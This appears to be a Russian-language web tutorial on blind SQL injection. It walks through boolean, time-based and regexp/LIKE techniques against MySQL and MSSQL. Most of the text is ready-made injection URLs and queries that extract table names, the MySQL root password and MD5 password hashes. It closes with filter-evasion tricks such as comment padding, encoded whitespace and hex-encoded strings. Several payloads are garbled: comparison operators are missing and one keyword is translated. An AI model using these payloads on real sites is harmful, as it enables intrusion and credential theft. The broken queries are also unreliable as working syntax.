Атака «слепая» SQL инъекция с регулярными выражениями

Описание

Cлепая SQL инъекция используется, когда веб-приложение уязвимо для SQL-инъекции, но результаты инъекции не видны злоумышленнику.

Страница с уязвимостью может быть не той, которая отображает данные, но будет отображаться по-разному в зависимости от результатов логического оператора, вызываемого для этой страницы.

Этот тип атаки может стать трудоемким, потому что для каждого восстановленного бита необходимо создать новый оператор.

Как использовать Слепую SQL инъекцию?


Существует несколько вариантов использования Blind SQL Injection:

Проверка уязвимости;
Поиск имени таблицы;
Экспорт значения;

Все методы основаны на «атаке предположения», потому что у нас есть только два разных ввода:

True или False.

Примеры атаки

Тестирование уязвимости (MySQL — MSSQL):

Начнем с простого примера. У нас есть этот тип URL:

 example.com/news.php?id=2 

это приведет к такому типу запросов в базе данных:

 SELECT * FROM news WHERE ID = 2 

Теперь мы можем попробовать некоторые методы SQL инъекции, например, слепую sql инъекцию:

 example.com/news.php?id=2 and 1=0 

Запрос SQL теперь:

 SELECT * FROM news WHERE ID = 2 and 1=0 

В этом случае запрос ничего не возвращает (FALSE), потому что 1 отличается от 0;

Давайте проведем тест лакмусовой бумажки: попытайтесь получить инструкцию TRUE, заставляющую AND быть TRUE;

example.com/news.php?id=2 и 0 = 0 

В этом случае 0 равен 0 … Получилось!

Теперь мы должны увидеть исходную страницу новостей. Теперь мы знаем, что  сайт уязвим для инъекций Sql.

Атака на время(MySQL)

Когда вы не видите никаких результатов, вы должны использовать атаку по времени.

В этом примере мы попытаемся получить пароль пользователя root в MySQL (если у вас есть привилегии root в MySQL).

Функция BENCHMARK используется для спящего режима в течение нескольких секунд.

Синтаксис: BENCHMARK (сколько раз, что делать). Когда вы используете его в IF-операторе, вы сможете атаковать время в MySQL;

 SELECT 1,1 UNION SELECTIF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,PasswordFROM mysql.user WHERE User = 'root';
 SELECT 1,1 UNION SELECTIF(SUBSTRING(Password,1,1)='b',BENCHMARK(100000,SHA1(1)),0) User,PasswordFROM mysql.user WHERE User = 'root';
 SELECT 1,1 UNION SELECTIF(SUBSTRING(Password,1,1)='c',BENCHMARK(100000,SHA1(1)),0) User,PasswordFROM mysql.user WHERE User = 'root';
SELECT 1,1 UNION SELECTIF(SUBSTRING(Password,1,1)='d',BENCHMARK(100000,SHA1(1)),0) User,PasswordFROM mysql.user WHERE User = 'root'; 

И так далее, пока вы не увидите, как работает BENCHMARK (задержка нескольких секунд).

Теперь приступим ко второму слову — паролю …

Атака на время (MSSQL)

В этом примере мы попытаемся получить имя пользователя таблицы sysusers.

Простым способом генерации временных задержек является использование одной из самых больших проблем с базой данных, которые потребовали разработки методов настройки производительности; тяжелых запросов.

Все, что вам нужно для создания временной задержки, — это доступ к таблице с некоторыми регистрами и построению хорошего запроса, чтобы заставить движок работать.

Другими словами, нам нужно создать запрос, не обращая внимания на то, что советуют рекомендации по эффективности.

(Этот метод был придуман Chema Alonso, Microsoft Security MVP)

 example.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers assys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,sysusers AS sys7, sysusers AS sys8)1 and 300(select top 1ascii(substring(name,1,1)) from sysusers) 

Положительный результат.

Условие TRUE, и ответ имеет задержку 14 секунд. Мы действительно знаем, что значение ASCII первого имени пользователя в таблице sysusers меньше 300.

 example.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers assys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,sysusers AS sys7, sysusers AS sys8)1 and 0 (select top 1 ascii(substring(name,1,1))from sysusers) 

Отрицательный результат.

Задержка ответа в течение одной секунды.

Мы действительно знаем, что значение ASCII первого имени пользователя в таблице sysusers выше 0.

И так далее для всех возможностей:

 [...] 1 and 300(select top 1 ascii(substring(name,1,1)) from sysusers) →14seconds →TRUE 
 [...] 1 and 0 (select top 1 ascii(substring(name,1,1)) from sysusers) →1 second →FALSE 
 [...] 1 and 150 (select top 1 ascii(substring(name,1,1)) from sysusers) →14seconds →TRUE 
 [...] 1 and 75 (select top 1 ascii(substring(name,1,1)) from sysusers) →1 second → FALSE

 И наконец, мы дойдем таким образом до финального запроса:

 [...] 1 and 119 (select top 1 ascii(substring(name,1,1)) from sysusers) →1 second→FALSE 
               Тогда результатом будет ASCII (119) = ‘w`.
Начните со второй буквы … и так далее!

 Методика атаки Regexp

С этим методом вы можете сэкономить много времени и пропускной способности!

Методология довольно проста: мы определяем диапазон чисел /символов/пространственных символов, которые будут сопоставляться с функциями REGEXP (MySQL) или LIKE (MSSQL).

Начнем с примера, чтобы проще понять.

Поиск имени таблицы с помощью атаки Regexp (MySQL)

В этом примере мы выберем первую согласованную запись information_schema.tables, вы должны знать имя базы данных!

 index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables LIMIT 0,1) 

Мы протестировали атаку слепой sql-инъекции, и если мы увидим правильную страницу, все будет в порядке.

 index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1)

В этом случае мы знаем, что первая совпадающая запись начинается с символа между [a -> z].

Этот пример покажет вам, как извлечь полное имя записи:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)Trueindex.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)Falseindex.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)True
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)False
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)True 

Первая буква таблицы - «n». Но есть ли другие таблицы, начинающиеся с «n»?

Давайте изменим предел на 1,1:

 index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1)False 

Нет, больше нет таблиц, начинающихся с «n». С этого момента мы должны изменить регулярное выражение следующим образом:

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

Чтобы проверить, нашли ли мы правильное имя таблицы, мы должны проверить что-то вроде этого:

'^news$'.

Поиск имени таблицы с помощью атаки Regexp (MSSQL)

Для MSSQL синтаксис немного сложнее.

Существует два ограничения: LIMIT и REGEXP отсутствуют.

Чтобы обойти это, мы должны использовать функции TOP и LIKE.

См. Пример:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )True

SELECT TOP используется для извлечения первой записи x из таблицы information_schema. В MSSQL функция LIKE аналогична функции REGEXP в MySQL, но синтаксис не равен.

Дополнительные сведения о функциях LIKE см. В http://msdn.microsoft.com/enus/library/ms179859.aspx.

Когда вам нужно захватить второе имя таблицы, вы должны использовать «table_name NOT IN (SELECT TOP x table_name FROM information_schema.tables)», как в приведенном ниже примере:

 default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERETABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_nameFROM information_schema.tables) and table_name LIKE '[a-z]%' ) 

Второй SELECT TOP используется для исключения строки X и извлечения X + 1.
Как и в примере MySQL, мы показываем, как изменить выражение LIKE, чтобы извлечь первую строку: 'n [az]%' -> 'ne [az]%' -> 'new [az]%' -> 'news [ az]% '-> TRUE

В противном случае окончание MySQL имеет TRUE, потому что'% 'определяет любую строку из нуля или более символов.

Чтобы проверить конец, мы должны добавить «_» и проверить, существует ли другой символ. 'News%' TRUE -> 'news_' FALSE.

Экспорт значения с помощью атаки Regexp (MySQL)

В этом примере мы извлечем хеш MD5 из имени знаковой таблицы (в данном случае «пользователи»);

Помните: MD5 может ТОЛЬКО содержать значения [a-f0-9].

Мы будем использовать ту же методологию, описанную в «Поиск имени таблицы».

 index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[a-f]' ANDID=1)False
 index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-9]' ANDID=1)True 
 index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-4]' ANDID=1)False 
 index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-9]' ANDID=1)True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-7]' ANDID=1)True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^5' ANDID=1)True

Наш хеш начинается с «5» всего за 6 попыток!

Экспорт значения с помощью атаки Regex (MSSQL)

То же самое, что и в MySQL, и «поиска имени таблицы».

Теперь мы продолжаем поиск второго символа.

Пример ниже:

default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[a-f]%' ANDID=1)True
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[a-c]%' ANDID=1)False
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[d-f]%' ANDID=1)True
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5[d-e]%' ANDID=1)False
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE '5f%' ANDID=1)True

Мы обнаружили, что наш второй символ - «f» всего за 5 попыток! (Это также худший случай для брутфорса)

Временные соображения

Возьмем, к примеру, блок MD5.

Мы должны экспортировать хэш из 32 символов, используя слепую инъекцию.

Вы знаете, что есть только 16 символов для проверки (1234567890abcdef);

В оптимистическом случае регулярной и нормальной слепой инъекции нужно выполнить 32 запроса;

В худшем случае для регулярного выражения требуется 128 запросов, а обычная слепая- 512 запросов;

Возьмем теперь пароль.

Мы должны экспортировать 15 символов паролей mixalpha-numericspecial14.

Вы знаете, что есть 76 символов для проверки (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789! @ # $% ^ & * () -_ + =);

В оптимистическом случае регулярной и нормальной слепой атаки нужно выполнить 15 запросов;

В худшем случае для регулярного выражения требуется около 94 запросов, а нормальный слепой - запрос 1140;

Обход фильтров

Ниже приведены примеры общих обходных фильтров.

 SELECT/*not important*/1/*really...*/FROM/*im serious*/users →(open andclose a comment); 
SELECT(1)FROM(information_schema.tables) →(parentheses's rules) 

Специальные символы:

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

Пример:

SELECT%09TABLE_NAME%09FROM%0dinformation_schema.tables 
SPECIAL CHAR (NO ', " ALLOWED): 

Обычно «AND» используются для ввода какой-либо строки. Таким образом, вы можете ввести HEX
значение:

SELECT passwd FROM users WHERE username=0x61646d696e 

Где 0x61646d696e - это шестнадцатеричное значение 'admin' Или также с использованием функции CHAR:

SELECT passwd FROM users WHEREusername=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110)) 

Отправка комментария

0 Комментарии